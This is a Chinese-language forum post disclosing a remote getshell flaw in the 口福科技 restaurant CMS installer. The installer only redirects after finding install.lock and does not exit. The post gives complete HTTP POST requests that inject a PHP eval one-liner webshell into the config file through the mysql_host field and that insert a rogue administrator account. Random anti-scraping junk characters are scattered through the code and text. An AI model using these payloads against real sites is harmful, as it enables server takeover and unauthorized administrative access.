找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2077|回复: 0
打印 上一主题 下一主题

口福科技餐厅cms漏洞(可getshell)

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-4 11:13:44 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
$ Y/ |1 |2 }/ o! q, C# @* \0 j6 Y$ ?4 D+ T3 N( a" o3 m
<?php
/ Q/ @, e: S, h' Jif(file_exists("../install.lock"))
8 o& _% f, l) S8 a4 Q6 ~4 z{5 d2 {$ w; v7 z; q
    header("Location: ../");//没有退出* o- ]! Y* d* O3 d8 {
}
7 P$ m- s* i6 K" V1 w" X% G               & E6 H, d. w# e4 e$ R! }
//echo 'tst';exit;$ q4 S  [4 Q! y- L( }4 |. t0 R0 m* f
require_once("init.php");
% p0 M# K* ?5 {, ^7 H) t, bif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
) f$ m" T! \3 v1 d$ a{
* d. W5 ~+ ~) L, X* m1 k可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
, r% U( y! U5 p7 b; [6 I- G" p+ s6 I( C
1、getshell(很危险)
, T2 E, q1 h! P0 G9 X. kif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
% Z& f9 \: r8 i- I% L+ y& n; Z1 t{
1 p* W, o7 q/ I, _5 ^: f1 T$smarty->assign("step",1);
& T0 w2 O/ f+ J4 J$smarty->display("index.html");
: o0 s% O5 k) r& d}elseif($_REQUEST['step']==2)
% v0 ~' u: p: Q1 t: P2 Z9 n{* i/ q$ Q, _0 t5 q
    $mysql_host=trim($_POST['mysql_host']);
2 m+ Y# {0 C, ]9 N9 b    $mysql_user=trim($_POST['mysql_user']);# G$ m1 G9 T( C0 s) ]5 T
    $mysql_pwd=trim($_POST['mysql_pwd']);  \" l$ q3 z) E, D! @+ Q1 v" Q( C
    $mysql_db=trim($_POST['mysql_db']);6 |& p4 h8 N8 Q2 U* C# K
    $tblpre=trim($_POST['tblpre']);
) z( {/ {/ Q9 ?+ @    $domain==trim($_POST['domain']);
  ~5 f2 U" N& N; G  d  j    $str="<?php \r\n";
  m2 s7 z/ z* V5 C    $str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";
) [( z# a' ~1 Q! G    $str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";
: Y9 \, T: M: _& h7 Q. f    $str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";
; o& G+ G0 v" \7 L- w9 F- A3 C# d    $str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";3 ~1 M) [+ P* S( |/ v
    $str.='define("MYSQL_CHARSET","GBK");'."\r\n";  b( I/ @% ~5 l+ R, l* M, z
    $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";
" V" U1 }2 W; q4 o. J$ z. b3 P    $str.='define("DOMAIN","'.$domain.'");'."\r\n";& R/ L% D5 u) U
    $str.='define("SKINS","default");'."\r\n";4 N, Y+ ]- B& V$ Q' t9 b6 ^% R4 O
    $str.='?>';
( I  \5 K: l% D3 e* ]    file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件
5 T; \6 B6 u5 }. {2 i+ y' o0 O- s+ k( T上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
+ y- j+ K* T, r) q  o5 a4 [# Z) MPOST /canting/install/index.php?m=index&step=2 HTTP/1.17 W" t3 j+ R9 z" |; u( a
Host: 192.168.80.129
! y7 N) w8 z7 SUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0, g! }3 k( m( y/ F' i4 K2 Z
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.89 _0 J; a  P: f' {3 ^& c7 G
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
/ P+ ?  v+ T& V$ sAccept-Encoding: gzip, deflate7 C4 X0 L' b- X1 z, Y- v# F
Referer: http://192.168.80.129/canting/install/index.php?step=1
) ^8 A7 N; E7 e% |7 dCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
( n! n& z9 r$ H* }Content-Type: application/x-www-form-urlencoded
7 W. S7 z) e- P( KContent-Length: 126' @0 K2 E) ~5 d' y5 F* R: J" f  D0 ~
          * J. r, y- k5 h1 `( D/ l1 R! Z
mysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD
6 R, \' l) B2 [6 K但是这个方法很危险,将导致网站无法运行。
7 @7 T2 m$ \% b# \7 O
0 I) H! s, K5 F+ O  W/ @2、直接添加管理员: l# b2 t5 }( t* W& C+ Y

  o# }1 y: r( Z6 f  G) s- @" lelseif($_REQUEST['step']==5)
# Z" T9 ~2 e8 z% m/ \{
1 i( u8 @5 j9 z0 O+ v    if($_POST). B/ s5 k3 b. G, Q
    {   require_once("../config/config.inc.php");& L9 z2 e& Q. T1 b. L
        $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);* ?4 ?( ?5 Z5 E3 U  Z
        mysql_select_db(MYSQL_DB,$link);0 `. ~: M1 G2 b( b6 j9 H7 [
        mysql_query("SET NAMES ".MYSQL_CHARSET );
9 L$ f8 x. t3 c! e( F         mysql_query("SET sql_mode=''");3 m9 O1 |/ D' B1 y7 A) r- q8 ]

& A& L+ g! Q' O$ [/ R $adminname=trim($_POST['adminname']);4 v5 \9 l8 M  p) \6 ~3 d8 _8 V* F
        $pwd1=trim($_POST['pwd1']);3 L' \2 T# D' A. C& V4 Z" w
        $pwd2=trim($_POST['pwd2']);1 p' E: N6 `* m/ p# q
        if(empty($adminname))( {" _. \! V  L$ c  E
        {
( Y. {" f8 I1 b: f7 z0 l& }- `. v7 n6 w' @$ a3 U9 N* V! C
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
* x' W% B- |8 V5 [" ^) J            exit();) ^2 Q: q' q3 q" R
        }
# u7 o2 y5 c( `; c) i  p        if(($pwd1!=$pwd2) or empty($pwd1)). \7 b$ S: c# f9 I8 N  j* p
        {
8 I$ q! ~4 j0 s4 z# Q& ~1 y& V9 A            echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
$ F8 {; g0 h# \8 P/ ~4 ^        }
, a  k; h) u4 w- E        mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
" f! A) [; h/ N5 r1 g  v    }" T7 z, W9 \+ L# @: t
这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:$ n/ ^6 D$ L* u: f9 v
POST /canting/install/index.php?m=index&step=5 HTTP/1.1& G! g+ J9 |- W. m7 j; R
Host: 192.168.80.129$ A5 ?; C. r* t1 @
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0$ T$ i/ G. L" R; Z# g: K
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8+ B! I5 U2 o1 V7 X2 |
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3# g+ a( [9 B4 l; S
Accept-Encoding: gzip, deflate
, S% W5 _: b. ?3 }  u. P- ?! RReferer: http://www.2cto.com /canting/install/index.php?step=1  Q5 W+ D, Y) u  s$ [( d5 k9 o
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
  }' }' E  p  _9 DContent-Type: application/x-www-form-urlencoded
7 `1 S: ]* E" L: @0 i1 a8 RContent-Length: 46
6 K$ ^. s5 c$ Z' X: Q0 Z      . Z0 N9 a5 E8 p$ J; j9 W
adminname=qingshen&pwd1=qingshen&pwd2=qingshen​5 c+ D2 Z; k+ i) ~  I. f4 u
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表